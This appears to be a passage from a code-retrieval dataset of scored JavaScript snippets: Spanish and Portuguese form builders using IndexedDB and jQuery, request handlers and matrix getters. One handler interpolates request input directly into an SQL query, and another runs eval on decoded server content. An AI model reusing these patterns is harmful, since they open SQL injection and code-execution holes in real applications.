bien\n\t\trequest4.onsuccess = function(event) {\n\t\t\t//Asigna el resultado a la variable db, que tiene la base de datos \n\t\t\tvar db4 = event.target.result; \n\t\t\tvar objectStore4 = db4.transaction([\"categorias\"],\"readonly\").objectStore(\"categorias\");\n\t\t\t//Abre un cursor para recorrer todos los objetos de la base de datos \n\t\t\tobjectStore4.openCursor().onsuccess = function(event) {\n\t\t\t\tvar categoria = event.target.result;\n\t\t\t\tif (categoria) {\n\t\t\t\t\tvar trCatC = document.createElement(\"tr\");\n\t\t\t\t\tvar tdAddC = document.createElement(\"td\");\n\t\t\t\t\tvar addC = document.createElement(\"button\");\n\t\t\t\t\taddC.setAttribute(\"type\",\"button\");\n\t\t\t\t\taddC.setAttribute(\"class\",\"btn btn-danger\");\n\t\t\t\t\taddC.setAttribute(\"value\",categoria.value.name);\n\t\t\t\t\taddC.appendChild(document.createTextNode(\"Añadir\"));\n\t\t\t\t\tvar tdTituloC = document.createElement(\"td\");\n\t\t\t\t\ttdTituloC.appendChild(document.createTextNode(categoria.value.name));\n\t\t\t\t\ttdTituloC.setAttribute(\"class\",\"col-8\");\n\t\t\t\t\ttdAddC.appendChild(addC);\n\t\t\t\t\ttrCatC.appendChild(tdAddC);\n\t\t\t\t\ttrCatC.appendChild(tdTituloC);\n\t\t\t\t\ttbodyC.appendChild(trCatC);\n\t\t\t\t\t//Añade una funcion a cada boton de añadir\n\t\t\t\t\taddC.addEventListener(\"click\", function(){\n\t\t\t\t\t\tvar input = document.forms[\"addProduction\"][\"categorias\"];\n\t\t\t\t\t\t//Añade al array el nomnbre de boton\n\t\t\t\t\t\tarrayCategorias.push(this.value);\n\t\t\t\t\t\tinput.value = arrayCategorias.toString();\n\t\t\t\t\t});\n\n\t\t\t\t\t//Pasa al siguiente categoria\n\t\t\t\t\tcategoria.continue();\n\t\t\t\t}\n\t\t\t};\n\t\t};\n\t\t//Añade eventos al hacer click sobre los botones del formulario creado\n\t\t$(document).ready(function(){\n\t\t\t$(\"#buscadorCategorias\").on(\"keyup\", function() {\n\t\t\t var value = $(this).val().toLowerCase();\n\t\t\t $(\"#tablaCategorias tr\").filter(function() {\n\t\t\t\t$(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)\n\t\t\t });\n\t\t\t});\n\t\t});\n\t\tgrupo8.appendChild(label8);\n\t\tdivInputBtn.appendChild(divBtn);\n\t\tdivBtn.appendChild(botonRemoverC);\n\t\tdivInputBtn.appendChild(cat);\n\t\tdivInputBtn.appendChild(malCat);\n\t\tgrupo8.appendChild(divInputBtn);\n\t\tgrupo8.appendChild(buscadorC);\n\t\tgrupo8.appendChild(tablaC);\n\t\ttablaC.appendChild(theadC);\n\t\ttablaC.appendChild(tbodyC);\n\t\ttheadC.appendChild(trC);\n\t\ttrC.appendChild(thVacioC);\n\t\ttrC.appendChild(thNombreC);\n\t\tformulario.appendChild(grupo8);\n\t\t//BOTONES DEL FORMULARIO\n\t\tvar grupoBtn = document.createElement(\"div\");\n\t\tgrupoBtn.setAttribute(\"class\",\"form-group d-flex justify-content-around\");\n\t\tvar aceptar = document.createElement(\"button\");\n\t\taceptar.setAttribute(\"type\",\"submit\");\n\t\taceptar.setAttribute(\"class\",\"btn btn-primary \");\n\t\taceptar.appendChild(document.createTextNode(\"Guardar\"));\n\t\tvar cancelar = document.createElement(\"button\");\n\t\tcancelar.setAttribute(\"type\",\"button\");\n\t\tcancelar.setAttribute(\"class\",\"btn btn-primary\");\n\t\tcancelar.appendChild(document.createTextNode(\"Cancelar\"));\n\t\t//Añade eventos al hacer click sobre los botones del formulario creado\n\t\tcancelar.addEventListener(\"click\", showHomePage);\n\t\tcancelar.addEventListener(\"click\", function(){\n\t\t\t\t\t\t\t\t\t\t\t\t\tcontenidoCentral.setAttribute(\"class\",\"d-block\");\n\t\t\t\t\t\t\t\t\t\t\t\t\tcontenidoFormularios.setAttribute(\"class\",\"d-none\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t//Se limpia los arrays array\n\t\t\t\t\t\t\t\t\t\t\t\t\twhile(arrayProducciones.length != 0){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tarrayProducciones.shift();\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\twhile(arrayDir.length != 0){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tarrayDir.shift();\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\twhile(arrayCategorias.length != 0){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tarrayCategorias.shift();\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\twhile(arrayReparto.length != 0){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tarrayReparto.shift();\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t});\n\t\t//Se añade al formulario como hijos\n\t\tgrupoBtn.appendChild(aceptar);\n\t\tgrupoBtn.appendChild(cancelar);\n\t\tformulario.appendChild(grupoBtn);\n\t\t/* FIN DEL FORMULARIO DE AÑADIR PRODUCCION */\n\t}else if (tipo == \"delete\") {\n\t\tvar formulario = document.createElement(\"form\");\n\t\tformulario.setAttribute(\"name\",\"deleteProduction\");\n\t\tformulario.setAttribute(\"action\",\"\");\n\t\tformulario.setAttribute(\"onsubmit\",\"return false\");\n\t\tformulario.setAttribute(\"method\",\"post\");\n\t\tvar leyenda = document.createElement(\"legend\");\n\t\tvar grupo = document.createElement(\"div\");\n\t\tgrupo.setAttribute(\"class\",\"form-group\");\n\t\tleyenda.appendChild(document.createTextNode(\"Eliminar produccion\"));\n\t\t//SE CREA EL BUSCADOR \n\t\tvar buscador = document.createElement(\"input\");\n\t\tbuscador.setAttribute(\"class\",\"form-control mb-3\");\n\t\tbuscador.setAttribute(\"type\",\"text\");\n\t\tbuscador.setAttribute(\"id\",\"buscador\");\n\t\tbuscador.setAttribute(\"placeholder\",\"Buscar...\");\n\t\t//SE CREA LA TABLA DE LAS PRODUCCIONES\n\t\tvar tabla = document.createElement(\"table\");\n\t\ttabla.setAttribute(\"class\",\"table table-bordered\");\n\t\ttabla.setAttribute(\"name\",\"produccion\");\n\t\ttabla.setAttribute(\"id\",\"produccion\");\n\t\tvar thead = document.createElement(\"thead\");\n\t\tvar tr = document.createElement(\"tr\");\n\t\tvar thVacio = document.createElement(\"th\");\n\t\tvar ocultar = document.createElement(\"button\");\n\t\tocultar.setAttribute(\"type\",\"button\");\n\t\tocultar.setAttribute(\"class\",\"btn btn-secondary\");\n\t\tocultar.appendChild(document.createTextNode(\"Mostrar/Ocultar\"));\n\t\tocultar.addEventListener(\"click\", function(){\n\t\t\tvar cont = document.getElementById(\"tablaProducciones\");\n\t\t\tif(cont.style.display==\"table-row-group\"){\n\t\t\t\tcont.style.display = \"none\";\n\t\t\t}else{\n\t\t\t\tcont.style.display = \"table-row-group\";\n\t\t\t}\n\t\t});\n\t\tthVacio.appendChild(ocultar);\n\t\tvar thTitulo = document.createElement(\"th\");\n\t\tthTitulo.appendChild(document.createTextNode(\"Titulo\"));\n\t\tvar thTipo = document.createElement(\"th\");\n\t\tthTipo.appendChild(document.createTextNode(\"Tipo\"));\n\t\tvar tbody = document.createElement(\"tbody\");\n\t\ttbody.setAttribute(\"id\",\"tablaProducciones\");\n\t\t//Abre la conexion con la base de datos\n\t\tvar request = indexedDB.open(nombreDB);\n\t\t//Si ha salido bien\n\t\trequest.onsuccess = function(event) {\n\t\t\t//Asigna el resultado a la variable db, que tiene la base de datos \n\t\t\tvar db = event.target.result; \n\t\t\tvar objectStore = db.transaction([\"producciones\"],\"readonly\").objectStore(\"producciones\");\n\t\t\t//Abre un cursor para recorrer todos los objetos de la base de datos \n\t\t\tobjectStore.openCursor().onsuccess = function(event) {\n\t\t\t\tvar produccion = event.target.result;\n\t\t\t\t//Si el cursor devuelve un valor \n\t\t\t\tif (produccion) {\n\t\t\t\t\tvar trPro = document.createElement(\"tr\");\n\t\t\t\t\tvar tdEliminar = document.createElement(\"td\");\n\t\t\t\t\tvar eliminar = document.createElement(\"button\");\n\t\t\t\t\teliminar.setAttribute(\"type\",\"button\");\n\t\t\t\t\teliminar.setAttribute(\"class\",\"btn btn-danger\");\n\t\t\t\t\teliminar.setAttribute(\"value\",produccion.value.title);\n\t\t\t\t\teliminar.appendChild(document.createTextNode(\"Eliminar\"));\n\t\t\t\t\teliminar.addEventListener(\"click\", deleteProduction);\n\t\t\t\t\tvar tdTitulo = document.createElement(\"td\");\n\t\t\t\t\ttdTitulo.appendChild(document.createTextNode(produccion.value.title));\n\t\t\t\t\tvar tdTipo = document.createElement(\"td\");\n\t\t\t\t\tvar nomTipo = \"\";\n\t\t\t\t\tif (produccion.value.tipo == \"Movie\") {\n\t\t\t\t\t\tnomTipo = \"Pelicula\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\tnomTipo = \"Serie\";\n\t\t\t\t\t}\n\t\t\t\t\ttdTipo.appendChild(document.createTextNode(nomTipo));\n\t\t\t\t\ttdEliminar.appendChild(eliminar);\n\t\t\t\t\ttrPro.appendChild(tdEliminar);\n\t\t\t\t\ttrPro.appendChild(tdTitulo);\n\t\t\t\t\ttrPro.appendChild(tdTipo);\n\t\t\t\t\ttbody.appendChild(trPro);\n\t\t\t\t\t//Pasa a la siguiente produccion\n\t\t\t\t\tproduccion.continue();\n\t\t\t\t}//Fin del if\n\t\t\t};//Fin de objectStore.openCursor().onsuccess\n\t\t};//Fin de request.onsuccess\n\t\tvar grupoBtn = document.createElement(\"div\");\n\t\tgrupoBtn.setAttribute(\"class\",\"form-group d-flex justify-content-around\");\n\t\tvar cancelar = document.createElement(\"button\");\n\t\tcancelar.setAttribute(\"type\",\"button\");\n\t\tcancelar.setAttribute(\"class\",\"btn btn-primary\");\n\t\tcancelar.appendChild(document.createTextNode(\"Cancelar\"));\n\t\t//Añade eventos al hacer click sobre los botones del formulario creado y el buscador\n\t\t$(document).ready(function(){\n\t\t\t$(\"#buscador\").on(\"keyup\", function() {\n\t\t\t var value = $(this).val().toLowerCase();\n\t\t\t $(\"#tablaProducciones tr\").filter(function() {\n\t\t\t\t$(this).toggle($(this).text().toLowerCase().indexOf(value) > -1)\n\t\t\t });\n\t\t\t});\n\t\t});\n\t\tcancelar.addEventListener(\"click\", showHomePage);\n\t\tcancelar.addEventListener(\"click\", function(){\n\t\t\t\t\t\t\t\t\t\t\t\t\tcontenidoCentral.setAttribute(\"class\",\"d-block\");\n\t\t\t\t\t\t\t\t\t\t\t\t\tcontenidoFormularios.setAttribute(\"class\",\"d-none\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t});\n\n\t\t//se crea el formulario de borrado\n\t\tformulario.appendChild(leyenda);\n\t\tgrupo.appendChild(buscador);\n\t\tgrupo.appendChild(tabla);\n\t\tformulario.appendChild(grupo);\n\t\ttabla.appendChild(thead);\n\t\ttabla.appendChild(tbody);\n\t\tthead.appendChild(tr);\n\t\ttr.appendChild(thVacio);\n\t\ttr.appendChild(thTitulo);\n\t\ttr.appendChild(thTipo);\n\t\tgrupoBtn.appendChild(cancelar);\n\t\tformulario.appendChild(grupoBtn);\n\t\tcontenidoFormularios.appendChild(formulario);\n\t\t/* FIN DEL FORMULARIO DE ELIMINAR PRODUCCION */\n\t}//Fin de los if\n}//Fin de formProducciones", "title": "" }, { "docid": "6758cfac926c55ef4a3e01c390789d64", "score": "0.48882192", "text": "function GuardarDatosModal(){\n\n ArrayCultivo.push(\n new Cultivo(\n $(\"#id_usuario\").val(),\n $(\"#tipocultivo\").val(),\n $(\"#variedad\").val(),\n $(\"#cantidad\").val(),\n $(\"#feplantacion\").val(),\n $(\"#fechacosecha\").val(),\n $(\"#tempminima\").val(),\n $(\"#tempmaxima\").val(),\n $(\"#humedadminima\").val(),\n $(\"#humedadmaxima\").val()\n )\n\n )\n\n }", "title": "" }, { "docid": "5f0eccd83c0586f84627b8d812699b6d", "score": "0.48874182", "text": "function nuevaSolicitud(req,res){\n //agarramos todos lo datos\n let id_solicitante = req.body.id_user, lat = req.body.lat, lng = req.body.lng,valoracion = req.body.valoracion,\n mayorCosto = req.body.mayorCosto,menorCosto = req.body.menorCosto,hombre = req.body.hombre,\n mujer = req.body.mujer,conTransporte = req.body.conTransporte,idServicio = req.body.id_servicio,\n fecha = req.body.fecha,hora = req.body.hora, descripcion=req.body.descripcion, nombreServicio = req.body.nombre_servicio;\n \n \n\n \n let sql = `SELECT * FROM usuarios WHERE id_usuario= ${id_solicitante}`;\n consultaBd.consultaBd(sql,(result)=>{\n if(result) {\n //console.log(result);\n let nombreSolicitante = result[0].nombre + \" \" + result[0].ap + \" \" + result[0].am ; \n let telefono = result[0].telefono;\n let correo = result[0].correo;\n let genero = result[0].genero;\n //guardamos la solicitud en la tabla en ram:\n solicitudes.push({id_servicio :idServicio, servicio: nombreServicio, id_solicitante:id_solicitante,\n nombre:nombreSolicitante, telefono: telefono, correo:correo,\n fecha:fecha, hora: hora, lat:lat, \n lng:lng, costo:\"\", estatus:\"pendiente\",\n operador:\"\", valoracion:valoracion, mayorCosto:mayorCosto,\n menorCosto:menorCosto, hombre:hombre, mujer:mujer,\n conTransporte:conTransporte, descripcion:descripcion, generoSolicitante:genero\n }); \n res.status(200).send({ message: `Nueva solicitud enviada de : ${ nombreSolicitante }` });\n }\n\n });\n}", "title": "" }, { "docid": "07cc6a9221d51f15592bfebc4aa6f084", "score": "0.4880929", "text": "function activarHerramientaPerfil() {\n console.log(\"Activar herramienta perfil\");\n\n crearYCargarCapaLineaPerfil();\n activarControlDibujo();\n\n\n}", "title": "" }, { "docid": "3a90be8c316594f950e1b042d84bb55a", "score": "0.48805234", "text": "static add(cours) {\r\n // cours.id = nextId++;\r\n // coursExtent.push(cours);\r\n // return cours;\r\n return db.execute('insert into Kurs (Nazwa, Opis, Cena, Wykladowca_Id_wykladowca) values (?, ?, ?, ?)', [cours.name, cours.description, cours.price, cours.id_instructor]);\r\n // return db.execute(\r\n // 'insert into Klient (imie, nazwisko, plec,email, data_urodzenia) values (?, ?, ?, ?, ?)',\r\n // [user.firstName, user.lastName, user.sex, user.email, user.dateOfBirth]\r\n // );\r\n }", "title": "" }, { "docid": "3429c593ff5f63a40c4d8df164287edf", "score": "0.48782638", "text": "function inserirDesconto() {\n if (desconto > 0) {\n const divDesconto = document.createElement('div');\n divDesconto.classList.add('desconto');\n const descricao = document.createElement('h2');\n descricao.appendChild(document.createTextNode('Descontos'));\n divDesconto.appendChild(descricao);\n const divValorDesc = document.createElement('div');\n divValorDesc.classList.add('valor-desc');\n divDesconto.appendChild(divValorDesc);\n const valorDesc = document.createElement('h2');\n valorDesc.appendChild(\n document.createTextNode(\n desconto.toLocaleString('pt-BR', { style: 'currency', currency: 'BRL' })\n )\n );\n divValorDesc.appendChild(valorDesc);\n const cupomDesc = document.createElement('span');\n cupomDesc.appendChild(\n document.createTextNode('CUPOM: MEUPRIMEIROVESTIDOPRETO')\n );\n\n divValorDesc.appendChild(cupomDesc);\n\n resumo.insertBefore(divDesconto, freteInserido);\n }\n}", "title": "" }, { "docid": "12b33d2af82d7e16241f690253250071", "score": "0.48774013", "text": "function iniciar(){\r\n\tlocalStorage.clear();\r\n\tvar boton= document.getElementById('btnenviar');\r\n\tif(boton.addEventListener){\r\n\t\tboton.addEventListener(\"click\",function(){\r\n\t\t\tvar nuevousuario= new User(document.frmregistro.nombres.value, document.frmregistro.apellidos.value, document.frmregistro.correo.value, document.frmregistro.contra.value, document.frmregistro.confirm_contra.value, document.frmregistro.departamento.value, document.frmregistro.municipio.value, document.frmregistro.colonia.value, document.frmregistro.calle_pasaje.value, document.frmregistro.num_casa.value, document.frmregistro.pregunta.value, document.frmregistro.DUI.value, document.frmregistro.NIT.value, document.frmregistro.num_cel.value, document.frmregistro.fecha.value);\r\n\t\t\tnuevousuario.comprobar();\r\n\t\t},false);\r\n\t}\r\n}", "title": "" }, { "docid": "3dec2695cb57d305174f223bb5ca8e39", "score": "0.48744133", "text": "function AgregarEgresos() {\n var pEgresos = new Object();\n pEgresos.IdEgresos = 0;\n pEgresos.IdCuentaBancaria = $(\"#divFormaAgregarEgresos\").attr(\"idCuentaBancaria\");\n if ($(\"#divFormaAgregarEgresos\").attr(\"idProveedor\") == \"\") {\n pEgresos.IdProveedor = 0;\n }\n else {\n pEgresos.IdProveedor = $(\"#divFormaAgregarEgresos\").attr(\"idProveedor\");\n }\n pEgresos.CuentaBancaria = $(\"#txtCuenta\").val();\n pEgresos.IdMetodoPago = $(\"#cmbMetodoPago\").val();\n pEgresos.Fecha = $(\"#txtFecha\").val();\n pEgresos.Importe = QuitarFormatoNumero($(\"#txtImporte\").val());\n pEgresos.Referencia = $(\"#txtReferencia\").val();\n pEgresos.ConceptoGeneral = $(\"#txtConceptoGeneral\").val();\n pEgresos.FechaAplicacion = $(\"#txtFechaAplicacion\").val();\n pEgresos.FechaConciliacion = $(\"#txtFechaConciliacion\").val();\n pEgresos.IdTipoMoneda = $(\"#cmbTipoMoneda\").val();\n pEgresos.TipoCambioDOF = QuitarFormatoNumero($(\"#txtTipoCambio\").val());\n \n if(pEgresos.IdTipoMoneda == 2)\n {\n pEgresos.TipoCambio = QuitarFormatoNumero($(\"#txtTipoCambio\").val());\n }\n else\n {\n pEgresos.TipoCambio = \"1\";\n }\n\n if (pEgresos.TipoCambio.replace(\" \", \"\") == \"\") {\n pEgresos.TipoCambio = 0;\n }\n \n if (pEgresos.TipoCambioDOF.replace(\" \", \"\") == \"\") {\n pEgresos.TipoCambioDOF = 0;\n }\n \n if ($(\"#chkConciliado\").is(':checked')) {\n pEgresos.Conciliado = 1;\n }\n else {\n pEgresos.Conciliado = 0;\n }\n\n if ($(\"#chkAsociado\").is(':checked')) {\n pEgresos.Asociado = 1;\n }\n else {\n pEgresos.Asociado = 0;\n }\n \n var validacion = ValidaEgresos(pEgresos);\n if (validacion != \"\")\n { MostrarMensajeError(validacion); return false; }\n var oRequest = new Object();\n oRequest.pEgresos = pEgresos;\n SetAgregarEgresos(JSON.stringify(oRequest));\n}", "title": "" }, { "docid": "13ea52157f319dc5c72db79423a33580", "score": "0.48733294", "text": "function inicializarEmpleados() {\n\tmonitor = new Monitor(\"Pedro\", \"123A\", \"678\", \"Zumba - Yoga\", 10, 20);\n\taniadirEmpleadoTabla(monitor);\n\tvectorEmpleados.push(monitor);\n\n\tfisio = new Fisioterapeuta(\"Marina\", \"123B\", \"692\", 8);\n\taniadirEmpleadoTabla(fisio);\n\tvectorEmpleados.push(fisio);\n}", "title": "" }, { "docid": "c7b6b6824d6ebae2122734582c02b28e", "score": "0.48676103", "text": "function crealista(o) {\n var aCte = new Array();\n eval(b64.decode(o.contenido));\n var tlb = document.getElementById(\"tlb\");\n while (i = tlb.firstChild) {\n tlb.removeChild(i);\n }\n if(aCte.length) {\n for (var j=0; j<aCte.length; j++) {\n var fila = zombietr.cloneNode(true);\n var primera = fila.firstChild;\n var tfolio = document.createTextNode(aCte[j][0]);\n primera.appendChild(tfolio);\n var segunda = primera.nextSibling;\n var tnombre = document.createTextNode(aCte[j][1]);\n segunda.appendChild(tnombre);\n var tercera = segunda.nextSibling;\n var tusuarios = document.createTextNode(aCte[j][2]);\n var ligausr = document.createElement(\"a\");\n ligausr.className = \"ligausr\";\n ligausr.id = \"ligausr_\" + aCte[j][0];\n ligausr.href = \"usuarios\";\n ligausr.setAttribute(\"title\",aCte[j][0]);\n ligausr.onmouseover = \"window.status='Servicios RH Global';\";\n ligausr.onclick = function() {agregausr(this.title);return false;};\n ligausrspan = document.createElement(\"span\");\n ligausrspan.appendChild(tusuarios);\n ligausr.appendChild(ligausrspan);\n tercera.appendChild(ligausr);\n var cuarta = tercera.nextSibling;\n var tacciones = new Array(\"borrar\",\"editar\");\n for (var l in tacciones) {\n nliga = document.createElement(\"a\");\n nliga.href = aCte[j][0];\n nliga.setAttribute(\"title\",tacciones[l] + \" \" + aCte[j][0]);\n nliga.onclick = function() {return accion(this.title);};\n nimg = document.createElement(\"img\");\n nimg.setAttribute(\"src\",\"/interfase/\" + tacciones[l] + \".gif\");\n nimg.setAttribute(\"alt\",tacciones[l]);\n nliga.appendChild(nimg);\n cuarta.appendChild(nliga);\n }\n fila.className = ((j+1)%2==0) ? \"even\" : \"odd\";\n tlb.appendChild(fila);\n }\n } else {\n var filavacio = document.createElement(\"tr\");\n filavacio.className=\"even\";\n var celdavacio = document.createElement(\"td\");\n celdavacio.setAttribute(\"colspan\",\"4\");\n celdavacio.colSpan = 4;\n var txtvacio = document.createTextNode(\"No hay Clientes en el Sistema\");\n var br = document.createElement(\"br\");\n celdavacio.appendChild(txtvacio);\n celdavacio.appendChild(br);\n filavacio.appendChild(celdavacio);\n tlb.appendChild(filavacio);\n }\n}", "title": "" }, { "docid": "1a096281db6740830345a0552f7c33ce", "score": "0.48665318", "text": "_addPrescriptionFillIns(){\n\t\tvar mins_maxs = {\"esfera\":['-6,00','5,00'],\"cilindro\":['-3,00','3,00'],\"eje\":['0','180'],\"adicion\":['0,00','3,00'],'distancia':['20,00','45,00']}\n\t\tvar field_names = [['esfera','Esfera','ESF/SPH'],['cilindro','Cilindro','CIL/CYL'],['eje','Eje°','EJE/AXIS'],['adicion','Adición<sup>*</sup>','AD/ESF V.P.'],['distancia','Distancia interpupilar','']];\n\t\tvar table = jQuery('<table>').addClass('prescription-table');\n\t\tvar header_row = jQuery('<tr>').addClass('header-row');\n\t\theader_row.append(jQuery('<th>'));\n\t\theader_row.append(jQuery('<th>Derecho</th>').addClass('header-row-title'));\n\t\theader_row.append(jQuery('<th>Izquierdo</th>').addClass('header-row-title'));\n\t\ttable.append(header_row);\t\n\t\tfor(var i = 0; i < field_names.length; i++){\n\t\t\ttable = this._addFillTableLine(table, field_names[i][0],field_names[i][1], field_names[i][2], mins_maxs);\n\t\t}\n\t\tvar final_note = jQuery('<div><p><sup>*</sup>Si incluyes la adición y no quieres lentes progresivas indicanos si es gafa de lejos o cerca</p></div>').addClass('prescription-final-note');\n\t\tthis.category_body.append(table);\n\t\tthis.category_body.append(final_note);\n\t}", "title": "" } ]
b12a410df73fdd98f7b5469c9c13f57d
Convenience getter for the individual 1,1 entry of the matrix.
[ { "docid": "a78c20e2aac3cd64d781fd1c8af36490", "score": "0.0", "text": "m11() {\n return this.entries[4];\n }", "title": "" } ]
[ { "docid": "2d2e554cf7e15a718384851976af8bfe", "score": "0.6771095", "text": "function get$1(row, column, matrix) {\r\n var columns = matrix[row];\r\n if (columns === undefined) {\r\n return undefined;\r\n }\r\n return columns[column];\r\n}", "title": "" }, { "docid": "b73e09e895bfc3c750aa31282dcf7b87", "score": "0.66329277", "text": "get(row, col) {\n return this.values[row][col];\n }", "title": "" }, { "docid": "6b865bf85a91dc188b63d2d6df859244", "score": "0.63327676", "text": "getCell(row, col) {\n return this.grid[row][col][0];\n }", "title": "" }, { "docid": "d07f027c7ccd4fe63b4315015b28383e", "score": "0.610987", "text": "get(row,column){\n\t\treturn this.board[row][column];\n\t}", "title": "" }, { "docid": "0fe51169bb2f8975c60dde4879665466", "score": "0.61001134", "text": "getCell() {\n return this._level.getMap().getCell(this._x, this._y);\n }", "title": "" }, { "docid": "b363c8b6a5bb0650aa9ec86484e0c3a5", "score": "0.60365194", "text": "static get matrix() {}", "title": "" }, { "docid": "5b1effa73cad257190d3f66c455c012d", "score": "0.6032346", "text": "function matrix1d () {\n const ROW = 3\n const COLUMN = 4\n const grid = new Array(ROW * COLUMN).fill(0)\n\n grid[5] = 10\n\n function getValue (row, column) {\n const index = (row - 1) * ROW + column\n return grid[index]\n }\n\n function getRowColumn (i) {\n const index = i\n const column = index % COLUMN + 1\n const row = Math.ceil(index / COLUMN)\n return [row, column]\n }\n\n console.log(getValue(2, 2))\n console.log(getRowColumn(5))\n // console.log(grid)\n}", "title": "" }, { "docid": "860f34f62c5f431c3137e1905280f99a", "score": "0.59886247", "text": "function At(row, column) {\n return row * columns + column;\n }", "title": "" }, { "docid": "5c5618ad9111ca251795a4dae79e1395", "score": "0.5963964", "text": "getMatrix(){\r\n\t\treturn this.matrix;\r\n\t}", "title": "" }, { "docid": "6b0bbf0665583af97ce2806bc171fd26", "score": "0.5961519", "text": "function getMatrix() {\n return matrix;\n }", "title": "" }, { "docid": "21cd5e077c79137240edae9d1908e681", "score": "0.595389", "text": "getRow(row) {\n return this.values[row];\n }", "title": "" }, { "docid": "f40b1dd809a7fff93ae21858a96473e0", "score": "0.58911926", "text": "GetTile(row, column)\n {\n return this.tiles[row][column];\n }", "title": "" }, { "docid": "f40b1dd809a7fff93ae21858a96473e0", "score": "0.58911926", "text": "GetTile(row, column)\n {\n return this.tiles[row][column];\n }", "title": "" }, { "docid": "4d76ab2302d0669902101e1b9d5738b3", "score": "0.5879302", "text": "get the_matrix() {\n console.log(this.matrix);\n }", "title": "" }, { "docid": "73a573cfcad13154102ff09de3928bd6", "score": "0.5859248", "text": "function getGridItem(row, column) {\n return grid[row][column];\n }", "title": "" }, { "docid": "d6f694586f8f8b5a640793d899c63874", "score": "0.58307356", "text": "getID(row, col) {\n let total = Math.sqrt(this.map.length);\n let neighbour = row * total + col;\n\n return neighbour;\n }", "title": "" }, { "docid": "65ab7ace633fda7334f603ca5b7e97f9", "score": "0.57959497", "text": "get row() {\n return this.i.a;\n }", "title": "" }, { "docid": "80a996b0e484e0eff86d3d06debdfc81", "score": "0.57504857", "text": "at(row, column)\n\t{\n\t\tif (row >= 0 && row < 3 && column >= 0 && column < 3 )\n\t\t\treturn this._data[row][column];\n\t\telse\n\t\t\treturn null;\n\t}", "title": "" }, { "docid": "ab9c11b5f99d7a1c493ddfede6ef0eab", "score": "0.5730629", "text": "get(i, j) {\n return this.cells.get(`${i},${j}`);\n }", "title": "" }, { "docid": "3afecbf784fa38d0f690a1fa7a59050e", "score": "0.571592", "text": "function a(i,j) { return mat[i][cols[j]]; }", "title": "" }, { "docid": "3320f16e24097f36d44164015d901d61", "score": "0.5684147", "text": "matrix() {\n return [[ this.sx, 0 , 0],\n [ 0 , this.sy, 0],\n [ 0 , 0 , 1]];\n }", "title": "" }, { "docid": "ef7e13225233f980173091c261b5c3e4", "score": "0.5649841", "text": "get(x, y) {\n\t if (x < 0 || y < 0 || x >= this.width || y >= this.height) {\n\t return tile_1.Tile.NullTile();\n\t }\n\t return this.buffer[y][x];\n\t }", "title": "" }, { "docid": "8e911c8e30534528d68ced1cdcdd3750", "score": "0.56289804", "text": "getX() {\n return this.n >= 1 ? this.get(0) : 0;\n }", "title": "" }, { "docid": "942f0cc183762741d738e0a1e31ce6b5", "score": "0.5595789", "text": "function point2Row(point){ return point.row; }", "title": "" }, { "docid": "818b7d04a77004ea5365a34d8e212e0f", "score": "0.5564522", "text": "getMapMatrix() {\n return this.matrix;\n }", "title": "" }, { "docid": "701cdfa159d21f08b8b2b6d3ac389a93", "score": "0.555879", "text": "matrix() {\n return [[ 1, 0, this.tx],\n [ 0 , 1, this.ty],\n [ 0 , 0, 1 ]];\n }", "title": "" }, { "docid": "815b200085a9ef8847b74a1a812c9622", "score": "0.5524862", "text": "get_cell(row, column) {\n\t\tif ((row < 0) || (row > (this.rows-1)) || (column < 0) || (column > (this.columns-1)) {\n\t\t\treturn null;\n\t\t} else {\n\t\t\treturn this.grid[row][column];\n\t\t}\n\t}", "title": "" }, { "docid": "c5e3340edbeab97d5ca39abd658e7c2a", "score": "0.55180955", "text": "cell(i,j){\n if (j == undefined &&\n i < this.size){\n return this._cells[i] ;\n }\n if (-1 < i && \n i < this.columns && \n -1 < j && \n j < this.rows ){\n var index = i*this.rows + j ;\n return this._cells[index] ;\n }else{\n return null ;\n }\n }", "title": "" }, { "docid": "e86969c14af698efe859e0b841b0ac57", "score": "0.55080837", "text": "function isSingleDim(matrix) {\r\n return matrix[0][0] == undefined\r\n}", "title": "" }, { "docid": "b8d9029f398338ebd60c49197b5f578a", "score": "0.5475563", "text": "getNeighbor(row, col) {\n if ((row < 0 || col < 0) || (row > this.rows - 1 || col > this.cols - 1)) {\n return null;\n }\n\n return this.cells[row][col];\n }", "title": "" }, { "docid": "a20a8fb43c9d834fe97b5d45bdbf1d14", "score": "0.54750824", "text": "function two2one (i, j) {return (j*COLS) + i;}", "title": "" }, { "docid": "e760546550d013d08f562cdfd35ecfc2", "score": "0.5472391", "text": "function get$2(grid, nRow, nCol) {\n var row = grid[nRow];\n return row ? row[nCol] : undefined;\n}", "title": "" }, { "docid": "e760546550d013d08f562cdfd35ecfc2", "score": "0.5472391", "text": "function get$2(grid, nRow, nCol) {\n var row = grid[nRow];\n return row ? row[nCol] : undefined;\n}", "title": "" }, { "docid": "54e3f23359e72d944393a3bcdb3d4e93", "score": "0.5469032", "text": "getMatrix() {\n return null\n }", "title": "" }, { "docid": "916cd9c44be7ac987482f409b1fb7bbc", "score": "0.54687744", "text": "function getRow(x){\n return x / dim;\n}", "title": "" }, { "docid": "2180b93a7f62c32833f12ae982e33111", "score": "0.54533315", "text": "function _getCellProperty(x, y){\n if(x>=_dimension) { x = 0; }\n if(y>=_dimension) { y = 0; }\n if(x < 0) { x = _dimension - 1; }\n if(y < 0) { y = _dimension - 1; }\n return _world[x][y];\n }", "title": "" }, { "docid": "188f20b40b2bab4dd8e1bfa30d9bf1ed", "score": "0.5445724", "text": "get row() {\n return this.request(`${this.prefix}get_position`, []).then(position => position[0]);\n }", "title": "" }, { "docid": "a9015bc18c7c7887e641434df23e16e4", "score": "0.5441411", "text": "getCellValue(row, col) {\r\n if(row < 0) {\r\n return null;\r\n }\r\n if(col < 0) {\r\n return null;\r\n }\r\n if(row > 8) 